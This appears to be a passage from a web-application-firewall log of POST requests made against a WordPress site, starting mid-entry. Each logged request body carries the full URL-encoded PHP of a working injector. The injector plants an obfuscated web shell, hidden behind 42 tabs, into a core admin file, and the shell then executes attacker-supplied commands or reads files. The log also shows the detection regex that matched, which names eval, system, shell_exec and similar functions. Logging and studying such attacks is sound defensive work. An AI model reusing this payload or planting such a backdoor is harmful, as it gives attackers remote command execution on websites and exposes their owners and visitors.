t%2520%2524dat_property_set%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:9386\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-community-events.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ptr1%2520%253D%2520%25277%2527%253B%2524ptr2%2520%253D%2520%25279%2527%253B%2524ptr3%2520%253D%2520%25273%2527%253B%2524ptr4%2520%253D%2520%25274%2527%253B%2524ptr5%2520%253D%2520%25276%2527%253B%2524ptr6%2520%253D%2520%2527c%2527%253B%2524ptr7%2520%253D%2520%25275%2527%253B%2524ptr8%2520%253D%2520%25278%2527%253B%2524ptr9%2520%253D%2520%25272%2527%253B%2524ptr10%2520%253D%2520%2527f%2527%253B%2524ptr11%2520%253D%2520%25270%2527%253B%2524ptr12%2520%253D%2520%2527e%2527%253B%2524ptr13%2520%253D%2520%2527b%2527%253B%2524ptr14%2520%253D%2520%25271%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr2%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%2524ptr5%2520.%2520%2524ptr6%2520.%2520%2524ptr7%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%25273%2527%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%2524ptr8%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr1%2520.%2520%25275%2527%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2524ptr12%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25275%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2527f%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr12%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%25277%2527%2520.%2520%2524ptr3%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524token_parser_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr13%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr14%2520.%2520%2524ptr1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%25279%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524ptr7%2529%253Bif%2528isset%2528%2524_POST%255B%2524token_parser_engine%255D%2529%2529%257B%2524token_parser_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524token_parser_engine%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524token_parser_engine%252C%2524descriptor_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524descriptor_record%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524sym_obj%253D%2524service_registry5%2528%2524token_parser_engine%252C%2522r%2522%2529%253Bif%2528%2524sym_obj%2529%257B%2524dat_property_set%253D%2524service_registry6%2528%2524sym_obj%2529%253B%2524service_registry7%2528%2524sym_obj%2529%253Bprint%2520%2524dat_property_set%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:47:50","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-community-events.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ptr1%2520%253D%2520%25277%2527%253B%2524ptr2%2520%253D%2520%25279%2527%253B%2524ptr3%2520%253D%2520%25273%2527%253B%2524ptr4%2520%253D%2520%25274%2527%253B%2524ptr5%2520%253D%2520%25276%2527%253B%2524ptr6%2520%253D%2520%2527c%2527%253B%2524ptr7%2520%253D%2520%25275%2527%253B%2524ptr8%2520%253D%2520%25278%2527%253B%2524ptr9%2520%253D%2520%25272%2527%253B%2524ptr10%2520%253D%2520%2527f%2527%253B%2524ptr11%2520%253D%2520%25270%2527%253B%2524ptr12%2520%253D%2520%2527e%2527%253B%2524ptr13%2520%253D%2520%2527b%2527%253B%2524ptr14%2520%253D%2520%25271%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr2%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%2524ptr5%2520.%2520%2524ptr6%2520.%2520%2524ptr7%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%25273%2527%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%2524ptr8%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr1%2520.%2520%25275%2527%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2524ptr12%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25275%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2527f%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr12%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%25277%2527%2520.%2520%2524ptr3%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524token_parser_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr13%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr14%2520.%2520%2524ptr1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%25279%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524ptr7%2529%253Bif%2528isset%2528%2524_POST%255B%2524token_parser_engine%255D%2529%2529%257B%2524token_parser_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524token_parser_engine%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524token_parser_engine%252C%2524descriptor_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524descriptor_record%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524sym_obj%253D%2524service_registry5%2528%2524token_parser_engine%252C%2522r%2522%2529%253Bif%2528%2524sym_obj%2529%257B%2524dat_property_set%253D%2524service_registry6%2528%2524sym_obj%2529%253B%2524service_registry7%2528%2524sym_obj%2529%253Bprint%2520%2524dat_property_set%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:9363\nsec-ch-ua-mobile:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM2VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\ngb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-community-events.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ptr1%2520%253D%2520%25277%2527%253B%2524ptr2%2520%253D%2520%25279%2527%253B%2524ptr3%2520%253D%2520%25273%2527%253B%2524ptr4%2520%253D%2520%25274%2527%253B%2524ptr5%2520%253D%2520%25276%2527%253B%2524ptr6%2520%253D%2520%2527c%2527%253B%2524ptr7%2520%253D%2520%25275%2527%253B%2524ptr8%2520%253D%2520%25278%2527%253B%2524ptr9%2520%253D%2520%25272%2527%253B%2524ptr10%2520%253D%2520%2527f%2527%253B%2524ptr11%2520%253D%2520%25270%2527%253B%2524ptr12%2520%253D%2520%2527e%2527%253B%2524ptr13%2520%253D%2520%2527b%2527%253B%2524ptr14%2520%253D%2520%25271%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr2%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%2524ptr5%2520.%2520%2524ptr6%2520.%2520%2524ptr7%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr1%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%25273%2527%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524ptr1%2520.%2520%2524ptr3%2520.%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%2524ptr8%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr1%2520.%2520%25275%2527%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2524ptr12%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25275%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2527f%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr12%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%2524ptr5%2520.%2520%25275%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524ptr4%2520.%2520%25277%2527%2520.%2520%2524ptr3%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%2524ptr5%2520.%2520%2524ptr3%2520.%2520%25276%2527%2520.%2520%2524ptr6%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524token_parser_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ptr1%2520.%2520%2524ptr4%2520.%2520%25276%2527%2520.%2520%2524ptr10%2520.%2520%2524ptr5%2520.%2520%2524ptr13%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%2524ptr1%2520.%2520%2524ptr11%2520.%2520%25276%2527%2520.%2520%2524ptr14%2520.%2520%2524ptr1%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr7%2520.%2520%25277%2527%2520.%2520%2524ptr9%2520.%2520%2524ptr7%2520.%2520%2524ptr10%2520.%2520%25276%2527%2520.%2520%2524ptr7%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ptr5%2520.%2520%2524ptr1%2520.%2520%2524ptr5%2520.%2520%25279%2527%2520.%2520%2524ptr5%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524ptr7%2529%253Bif%2528isset%2528%2524_POST%255B%2524token_parser_engine%255D%2529%2529%257B%2524token_parser_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524token_parser_engine%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524token_parser_engine%252C%2524descriptor_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524descriptor_record%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524token_parser_engine%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524sym_obj%253D%2524service_registry5%2528%2524token_parser_engine%252C%2522r%2522%2529%253Bif%2528%2524sym_obj%2529%257B%2524dat_property_set%253D%2524service_registry6%2528%2524sym_obj%2529%253B%2524service_registry7%2528%2524sym_obj%2529%253Bprint%2520%2524dat_property_set%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
